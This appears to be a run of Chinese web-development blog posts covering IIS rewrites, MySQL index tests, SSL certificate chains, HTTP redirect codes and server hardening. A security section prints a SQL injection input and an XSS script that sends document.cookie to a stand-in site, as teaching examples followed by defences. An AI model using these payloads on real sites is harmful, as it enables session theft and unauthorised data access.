① 摄像头扫码：无法直接用“识别二维码”，必须把二维码发送到身边的其它设备，再使用手机摄像头完成扫码。

② 成为运营者要求绑定银行卡；成为运营者将占用“微信号绑定的帐号”数量，详见说明。若达到上限，只有法定代表人可继续成为运营者。在公众号“公众平台安全助手”中可查询绑定的帐号。

另外：

• 小程序添加/删除体验成员无须管理员授权

• 如果管理员未关注公众号“公众平台安全助手”，待测……
  

当我们用 ASP.NET Web API 作服务端接口时，如果客户端以 GET 方式请求的 URL 中，由于拼接错误导致“？”和“&”并列出现，会发生 400 Bad Request，那么需要在 IIS 中使用 URL 重写模块来纠正。

请求 URL 如：

http://www.abc.com/api/obj?&foo=bar

需要重写为：

http://www.abc.com/api/obj?foo=bar

打开 IIS 管理器中对应网站的 URL 重写，

添加空白规则。

匹配的 URL 不包含域名，如上述 URL 则匹配的范围是：

api/obj

不包含我们要查找的字符串 ?&，所以此处模式只能匹配所有：

.*

又因为重定向路径中需要包含这部分，所以用括号包裹，即：

(.*)

继续添加条件匹配：

条件输入：{QUERY_STRING}，表示匹配查询字符串，

匹配的部分是“?”后面的字符串：

&foo=bar

那么可以填写模式：

^\&.*

因为 & 后面的部分仍然需要使用，所以用括号包裹：

^\&(.*)

“操作”中选择类型“重定向”，URL 填写：

{R:1}?{C:1}

其中 {R:1} 指代 api/obj，{C:1} 指代 foo=bar

取消“附加查询字符串”前面的勾

重定向类型在测试时可以选择 302 或 307，没问题后选择 301。

完成。

最终我们可以在网站的配置文件 web.config 中看到：

<rewrite>
    <rules>
        <rule name="uni-app-h5-replace-q" stopProcessing="true">
            <match url="(.*)" />
            <conditions>
                <add input="{QUERY_STRING}" pattern="^\&amp;(.*)" />
            </conditions>
            <action type="Redirect" url="{R:1}?{C:1}" appendQueryString="false" redirectType="Temporary" />
        </rule>
    </rules>
</rewrite>

我们要把这段代码复制到开发环境源代码的 web.config 中，以免发布网站时将我们设置好的配置覆盖掉。

本文未完成，部分测试方法、条件或结果可能有误，请谨慎参考！ :)

本文基于 MySQL 的 InnoDB BTREE 方法的索引进行测试。

以一张包含 2000 万条记录的表做实验：

CREATE TABLE `dt_read`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `time` datetime(0) NOT NULL,
  `a_id` int(11) NOT NULL,
  PRIMARY KEY (`id`) USING BTREE
);

这张表是用于记录文章点击量的，

`id` 为主键，int(11) 自增；

`time` 为非空 datetime，表示文章打开时间，测试数据是从 2017-03-11 至 2018-04-28；

`a_id` 为非空 int(11)，表示文章 ID，在此表中不唯一，测试数据是从 1 至 260218。

体验“全表扫描”

首先来体验一下什么是全表扫描，执行下面语句：

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' LIMIT 10

> 时间: 0.012s

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' LIMIT 10

> 时间: 7.317s

表中数据是按主键从小到大排列的，当查询条件为 `time` < '2020-1-1' 时，能很快地从表的前端找到 10 条满足条件的数据，所以不再继续判断后面的记录，立刻返回结果，耗时 0.012 秒；但当条件改为 `time` < '2000-1-1' 时，同样逐条判断，直到最后一条也没有找到，这种情况就是所谓的“全表扫描”，耗时 7 秒。

索引对 ORDER BY 的 ASC 和 DESC 的影响

我们给 `time` 建一个索引，同样执行刚才需要全表扫描的语句：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' LIMIT 10

> 时间: 0.012s

创建 `time` 的索引后，相当于生成了一张按 `time` 字段排列的新表，这时 MySQL 就能够很快地定位并找到符合条件的记录，避免了全表扫描。

试试按 `time` 倒序排：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `time` DESC LIMIT 10

> 时间: 0.013s

结论：索引对 ORDER BY 的顺序（ASC）和倒序（DESC）都是有效的。

索引字段的次序对 WHERE 和 ORDER BY 的影响

删除所有索引，创建一个新的索引，字段依次为 `time`, `a_id`。

分别执行以下查询：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' AND `a_id` < 0 LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 AND `time` < '2000-1-1' LIMIT 10

> 时间: 0.013s

结论：MySQL 会自动优化 WHERE 条件的次序来匹配最合适的索引。

但在 ORDER BY 中却不是这么回事了：

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `a_id`, `time` LIMIT 10

> 时间: 14.066s

原因也很好理解，对两个字段进行排序，先后次序肯定会影响结果集，因此只能以 SQL 语句指定的字段次序来 ORDER BY，这样，按索引的字段次序进行 ORDER BY 查询无疑是更快的。

索引中的字段必须依次使用

保持上例创建的索引不变，即 `time`, `a_id`。

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' AND `a_id` < 0 LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 LIMIT 10

> 时间: 6.438s

上句合理利用了索引的字段，而下句跳过了 `time`，直接 WHERE 了 `a_id`，这是不受该索引支持的。

我们可以想象一下这张由索引生成的虚拟表，其实就是一张普通的平面二维表格，按索引指定的字段次序进行了排序，所以全表中仅仅是索引指定的第一个字段是按大小排列的，第二个字段是在第一个字段值相同的区域内按大小排列，后同。所以，跳过索引指定的第一个字段直接对第二个字段进行检索，是无法应用该索引的。这个结论也同样也体现在 ORDER BY 语句中：

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `a_id` LIMIT 10

> 时间: 29.566s

WHERE 和 ORDER BY 混合

保持上例创建的索引不变，即 `time`, `a_id`。

先来执行这两句：

SELECT * FROM `dt_read` ORDER BY `a_id` LIMIT 10

> 时间: 12.29s

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 0.013s

仅仅 WHERE 了一个 `time`，对 ORDER BY `a_id` 的效率却有质的提升，是因为 WHERE 中的 `time` 和 ORDER BY 中的 `a_id` 一起找到了索引吗？答案是否定的。

我们把时间改大，让它能马上找到符合条件的数据：

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 22.34s

为什么这个语句就不走索引了呢？

其实，一个简单的 SELECT 查询语句，首先执行 WHERE，然后 ORDER BY，最后是 LIMIT。每一步都独自去找了索引，而非 WHERE 和 ORDER BY 混在一起去找索引。必须保证每一步是快的，最终才是快的。

当 `time` < '2000-1-1' 时，WHERE 用到了索引，所以很快，ORDER BY 却没有用到索引，但为什么也很快呢？因为 WHERE 的结果集非常小（示例中为 0 条）。

当 `time` < '2020-1-1' 时，WHERE 也用到了索引，但其结果集非常大（示例中为所有记录），再 ORDER BY `a_id` 就非常慢了，因为我们没有创建以 `a_id` 开头的索引。

现在把索引改成只有 `time` 一个字段。

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 6.033s

因为索引里有 `

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 ORDER BY `time` LIMIT 10

> 时间: 6.033s

第二句先 WHERE `a_id`，后 ORDER BY `time` 是不能匹配所建的索引的。

索引中的字段越多越好

分别在创建索引（`time`）和索引（`time`, `a_id`）的情况下执行下面语句：

本例使用 ORDER BY 而不是 WHERE 来测试是因为，在 WHERE 的多个条件下，如果符合前一条件的筛选结果集过小会导致判断第二条件时数据量不足，无法判断索引是否起作用。

SELECT * FROM `dt_read` ORDER BY `time` LIMIT 10

仅创建索引（`time`）的情况下：

> 时间: 0.013s

仅创建索引（`time`, `a_id`）的情况下：

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

仅创建索引（`time`）的情况下：

> 时间: 15.015s

仅创建索引（`time`, `a_id`）的情况下：

> 时间: 0.014s

可以看到，在索引字段依次使用的前提下，索引字段数不少于查询字段数才能避免全表扫描。

虽然索引中的字段越多越好，但必须依次使用，否则也是无效索引。

索引对 INSERT / UPDATE / DELETE 的效率影响

分别在创建索引（`time`）和索引（`time`, `a_id`）的情况下执行下面语句：

INSERT INTO `dt_read` (`time`, `a_id`) VALUES ('2018-4-28', 260218)

不建索引的情况下：

> 时间: 0.01s

仅创建索引（`time`）的情况下：

> 时间: 0.01s

同时创建索引（`time`）和索引（`time`, `a_id`）的情况下：

> 时间: 0.01s

UPDATE `dt_read` SET `time` = '2018-4-28' WHERE `id` = 20000000（注：存在该 id 值的记录）

不建索引的情况下：

> 时间: 0.01s

仅创建索引（`time`）的情况下：

> 时间: 0.01s

同时创建索引（`time`）和索引（`time`, `a_id`）的情况下：

> 时间: 0.01s

虽然在 INSERT / UPDATE / DELETE 时数据库会更新索引，但从实测数据来看，索引对其效率的影响可忽略不计。

一些误区

“in 语法效率很低”?

in 语法也是应用索引的，网传 in 会比一个一个 WHERE OR 要慢得多的说法是不靠谱的。in 主键和 in 索引同理。

另外：

对于字符串类型，LIKE '%abc%' 是不能应用索引的，但 LIKE 'abc%' 可以。更多关于字符串类型的索引，请查阅全文索引（FULLTEXT）。

索引的字段是可以指定长度的，类似字符串索引指定前面若干唯一字符就可以优化效率。

本文系个人实践总结，欢迎批评指正！

在 IIS 中编辑网站绑定时，提示“至少一个其他网站正在使用同一 HTTPS 绑定，而此绑定用另一个证书配置。确实要重用此 HTTPS 绑定并将其他网站重新指定为使用新证书吗?”，那么所有网站都必须使用同一个域名证书吗？

否。只要在绑定 https 域名的时候勾选“需要服务器名称指示”就行了。

使用证书链检测工具检测结果证书链（Certificate chain）不完整怎么办？

这个问题我在两台相同版本 CentOS 和相同版本宝塔面板的 Linux 服务器上遇到过，一台证书链完整，一台证书链不完整。

使用宝塔自带的 SSL 证书导入的方式可能出现这种情况（个例），关闭之，并手动配置 nginx 的 conf 文件；而再有一台，手动配置不生效，宝塔自带 SSL 成功，因此请自行尝试。

我也在两台相同版本的 Windows Server 2012 R2 上（IIS 8.5）遇到过，一台证书链完整，一台证书链不完整。

解决思路：在命令提示符中键入 mmc，打开：文件 - 添加/添加管理单元，选择“证书”添加，选择“计算机帐户”，确定。展开“证书”

在“个人 - 证书”中可以看到我们导入的域名证书，查看它的颁发者，确保在“中间证书颁发机构 - 证书”（或“受信任的根证书颁发机构”）中能够找到，找到后继续找该证书的颁发者，一直找到根证书。一般会有多个中间证书，形成一个完整的证书链，如果证书有缺失，那么尝试重新导入域名证书，或向供应商索要中间证书。

有任何改动后，在命令提示符中执行 iisreset 来重启 IIS（IIS 管理器中的“重新启动”可能重启得不彻底），并且找到网站 - 绑定 - 删除 https 类型的绑定并重新添加，以使证书生效。

检测证书链完整后，继续摸索过程中发现，删除某中间证书，然后在 IIS 中重新绑定，会自动生成中间证书，难道是域名证书中已经包含了中间证书和根证书等完整的证书链，还是 Windows 会自动下载安装这些证书呢？

在开发支付宝支付/微信支付时回调 Url 无法接收数据。

可能是证书链不完整，建议用工具检测：GeoCerts™ SSL Checker，并用上述方法补全。

>> 遇到新问题将不断补充本文 <<

一、概述

    重定向常常和请求转发放在一起讨论（前者是两次不相关的请求，后者是一次请求服务器端转发），然而本文并不讨论两者的区别，而是HTTP 1.0规范和HTTP 1.1规范中关于重定向的区别，以及实际使用中的情况。

    重定向实际使用是一个响应码（301或302或303或307）和一个响应头location，当浏览器收到响应的时候check响应码是3xx，则会取出响应头中location对应的url（重定向中url的编码问题，请参看点击打开链接），然后将该url替换浏览器地址栏并发起另一次HTTP事务。

    关于301、302、303、307的区别，找不到好的文章，因此打算直撸HTTP 1.0规范和HTTP 1.1规范，结合一些实际的案例和tomcat实现，来说清楚这几个状态码的差异。

1. 百度https重定向

    如下图所示，原请求访问的是http://www.baidu.com，然后返回302和location=https://www.baidu.com，从http转到https。不过关于响应行中302状态码的描述存在争议，在下文中会详细讨论。

2. tomcat重定向源码

二、详细

    http 1.0规范中有2个重定向——301和302，在http 1.1规范中存在4个重定向——301、302、303和307，其中302是值得讨论讨论的。

1. http 1.0

301

    301状态码在HTTP 1.0和HTTP 1.1规范中均代表永久重定向，对于资源请求，原来的url和响应头中location的url而言，资源应该对应location中的url。对于post请求的重定向，还是需要用户确认之后才能重定向，并且应该以post方法发出重定向请求。

    关于post请求重定向用户确认的问题，实际上浏览器都没有实现；而且post请求的重定向应该发起post请求，这里浏览器也并不一定遵守，所以说HTTP规范的实现并未严格按照HTTP规范的语义。

    在301中资源对应的路径修改为location的url，在SEO中并未出现问题，但是在302中就出现了302劫持问题，请往下看。

302

    在http 1.0规范中，302表示临时重定向，location中的地址不应该被认为是资源路径，在后续的请求中应该继续使用原地址。

    规范：原请求是post，则不能自动进行重定向；原请求是get，可以自动重定向；

    实现：浏览器和服务器的实现并没有严格遵守HTTP中302的规范，服务器不加遵守的返回302，浏览器即便原请求是post也会自动重定向，导致规范和实现出现了二义性，由此衍生了一些问题，譬如302劫持，因此在HTTP 1.1中将302的规范细化成了303和307，希望以此来消除二义性。

    补充：302劫持——A站通过重定向到B站的资源xxoo，A站实际上什么都没做但是有一个比较友好的域名，web资源xxoo存在B站并由B站提供，但是B站的域名不那么友好，因此对搜索引擎而言，可能会保存A站的地址对应xxoo资源而不是B站，这就意味着B站出了资源版权、带宽、服务器的钱，但是用户通过搜索引擎搜索xxoo资源的时候出来的是A站，A站什么都没做却被索搜引擎广而告之用户，B站做了一切却不被用户知道，价值被A站窃取了。

2. http 1.1

301

    和http 1.0规范中保持一致，注意资源对应的路径应该是location中返回的url，而不再是原请求地址。

302

    在HTTP 1.1中，实际上302是不再推荐使用的，只是为了兼容而作保留。规范中再次重申只有当原请求是GET or HEAD方式的时候才能自动的重定向，为了消除HTTP 1.0中302的二义性，在HTTP 1.1中引入了303和307来细化HTTP 1.0中302的语义。

303

    在HTTP 1.0的时候，302的规范是原请求是post不可以自动重定向，但是服务器和浏览器的实现是运行重定向。

    把HTTP 1.0规范中302的规范和实现拆分开，分别赋予HTTP 1.1中303和307，因此在HTTP 1.1中，303继承了HTTP 1.0中302的实现（即原请求是post，也允许自动进行重定向，结果是无论原请求是get还是post，都可以自动进行重定向），而307则继承了HTTP 1.0中302的规范（即如果原请求是post，则不允许进行自动重定向，结果是post不重定向，get可以自动重定向）。

307

    在http 1.1规范中，307为临时重定向，注意划红线的部分，如果重定向307的原请求不是get或者head方法，那么浏览器一定不能自动的进行重定向，即便location有url，也应该忽略。

    也就是307继承了302在HTTP 1.0中的规范（303继承了302在HTTP 1.0中的实现）。

3. 小结

    在HTTP 1.0规范中，302的规范并没有被服务器和浏览器遵守，即规范和实现出现了二义性，因此在HTTP 1.1中，将302的规范和实现拆分成了303和307。

三、结论

    虽然在不同版本的http规范中对重定向赋予了不同的语义，但是因为使用历史和服务器实现等原因，在实际中并不一定安全按照http规范实现，因此我个人感觉上述讨论只是一个了解，在实际写代码中302还是继续用吧···

参考：

1. 《http 1.0规范》
2. 《http 1.1规范》

3. 博客：点击打开链接

附注：

    本文如有错漏，烦请不吝指正，谢谢！

VS2017 安装程序变革比较大，最近安装了 15.1 (26403.3) 版本后提示重启，重启后再次打开安装程序还是提示需要重启，导致无法进入下一步执行添加、删除、修复组件的操作。

试用了几天以后没有发现这个情况会对开发工作产生影响，那么如果要修改安装组件怎么办呢？我们可以打开 Visual Studio 2017，新建项目，在左侧的“已安装”选项卡的底部点击“打开 Visual Studio 安装程序”：

又可以愉快地玩耍啦！

点不了“修改”？请关闭 Microsoft Visual Studio 2017 的所有实例，然后继续此操作。

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

程序设计规范：

• 【推荐】上传的文件直接保存到文件存储服务（如阿里云 OSS），这样即使被上传了后门 shell，对网站服务器也不会有影响。

• 否则必须通过文件头来确定文件类型，检查文件十六进制的文件头和文件尾是否合法，并检查文件流中是否包含 php、evel 等字符。

• 不可直接使用客户端文件名来保存文件，特别是后缀名/扩展名。应生成随机文件名，并通过检验文件头来确定文件类型。必须由程序指定保存目录。

• 使用 OSS 的应直接上传，不要在 ECS 上临时存放或备份。如必须存放的，应按上述规范操作。

服务器安全设置

CentOS + nginx + PHP：

• 全站文件取消属性中的“执行”权限（chmod），因为这个“执行”与运行 PHP 无关。而需要上传文件的“目录”需要“执行”权限，原因是需要往该目录创建文件。
  

• 仅需要写入的目录或文件设置“写入”权限。如上传图片目录、ThinkPHP 的 Runtime 目录。

• 凡可写目录或文件均不允许运行 PHP / PY 等 除需要被直接访问的 PHP / PY 文件，其它动态文件均不允许被访问到，在 nginx 的配置文件中添加项，参：https://xoyozo.net/Blog/Details/nginx-location-if，若全站使用统一的入口文件访问，那么设置仅该文件允许运行 PHP 即可。通过 IO 方式被其它文件包含的文件，无需运行 PHP 权限。（“deny all”对 include 起作用，但对 IO 不起作用，因此 Runtime 目录可以继续为 ThinkPHP 提供缓存服务。）这一步非常有用。

• 使用与 nginx 网站用户不同的用户来部署网站文件，如宝塔面板 PHP 使用 www 用户，那么就使用 root 或其它新用户来上传文件，否则将导致全站目录和文件可写。有条件的建议不同网站使用不同的用户，可防止一个网站被入侵后导致其它网站文件或磁盘上的其它文件被泄露的风险（2022年10月2日从宝塔官方社区获悉，宝塔面板暂不支持使用非 www 用户创建并运行网站）。

Windows Server + IIS + ASP.NET：

• 配置每个磁盘的安全属性，拒绝“IIS_IUSRS”这个用户组的所有权限。只要设置驱动器即可，子文件夹和文件会自动继承。若运行 .NET Framework 项目，需要设置 C:\Windows\Microsoft.NET\Framework\v*.*.*****\Temporary ASP.NET Files\ 目录可修改写入权限，.NET Core 项目不需要此设置。

• 为每个网站创建一个新用户，仅隶属于“IIS_IUSRS”。网站根目录安全属性添加该用户，权限选择“读取”。（已测取消“读取与执行”不影响 PHP，“列出文件夹内容”视业务需求开启，建议关闭）。仅需要上传文件的目录或文件设置“修改”、“写入”权限。（修改对应修改文件，写入对应上传文件）

• IIS 网站中设置“物理路径凭据”以及应用程序池的“标识”。

• IIS 中设置写入目录的“处理程序映射”无脚本。

各位站长好：

根据苹果相关通知，从2017年1月1日起，所有上架AppStore的应用必须支持https协议。

仍然采用HTTP传输的站点APP，将无法在AppStore被用户下载使用，也无法进行升级更新等工作。

官方视频

https://developer.apple.com/videos/play/wwdc2016/706/

相关新闻

http://www.chinaz.com/news/2016/1028/602635.shtml

根据AppStore审核要求，站长需要在2017年1月1日之前，在APP服务器全面部署https。

尽管不升级支持https后果严重，但诸位也不必太过担心，马甲根据要求为各位提供一份服务器升级https的技术文档，供您参考。

https的优点：

1. 相对于http，https可以确保数据在网络传输过程中不被篡改(如禁止运营商插入广告)，同时可以提升网站的安全性。

2.  iOS可以实现微信内部浏览器直接启动并打开App对应页面。

APP网站升级https步骤：

1. 为APP域名申请购买SSL证书（可选免费型）；

2.  将SSL证书部署到APP站点。

https证书申请方法：

1. 进入阿里云（独立服务器客户可注册一个阿里云账号，无须购买阿里云主机）https证书申请页面 https://www.aliyun.com/product/security/markets/aliyun/product/cas

2. 购买https证书，选择免费类型，点击购买（无需实际付款)

3. 购买完成后，进入控制台-CA证书服务页面，找到证书订单，点击“补全”

4. 填写证书对应的域名信息，免费证书只能用于一个域名(请填写完整域名例如：test.magapp.cc 而不是 magapp.cc)

5. 继续补全证书信息，注意域名验证类型选择DNS，邮箱填写自己常用邮箱即可，稍后系统会往邮箱发送域名解析信息。

6. 下一步生成证书请求文件(CSR)，这里建议选择“系统生成CSR”，点击右侧创建，创建完成后，点击提交审核，开始申请https证书。

7. 稍后系统会向邮箱发送一份该邮件，邮件包含需要在域名管理后台解析的信息。

8. 到域名管理后台添加新的域名解析，注意解析类型为CNAME

9. 添加新域名解析完成后，系统会对您的申请进行审核（审核时间在几分钟到几个小时不确定），如果审核成功系统会为你签发https证书，失败也会有相关原因说明，如果失败可根据提示重新申请。

10. https证书申请成功后，下一步就可以下载并部署到APP服务器。

11. 点击下载后，可以根据阿里云提供的部署文档，进行相关的服务器部署工作。

12. 部署完成后，验证是否部署成功

第一步：使用https协议访问域名是否能正常访问，例如 https://test.magapp.cc

第二步：在线检测域名是否满足苹果审核要求，网址为：https://www.qcloud.com/product/ssl.html#userDefined10

填写自己申请https的域名

如果域名检测各项满足会显示如下图所示

部署注意事项：

1. https使用的是443端口而不是默认的80端口，需要在wdcp安全管理-iptables开启443端口。

2. https免费证书有效期为一年，请各位站长作好记录，提前重新申请。

3. 站点从http转到https完全过渡需要一段时间，建议在部署时站点同时支持http和https。

4. 部署过程遇到任何问题，可联系您的专属运维人员。

                                                            MAGAPP技术部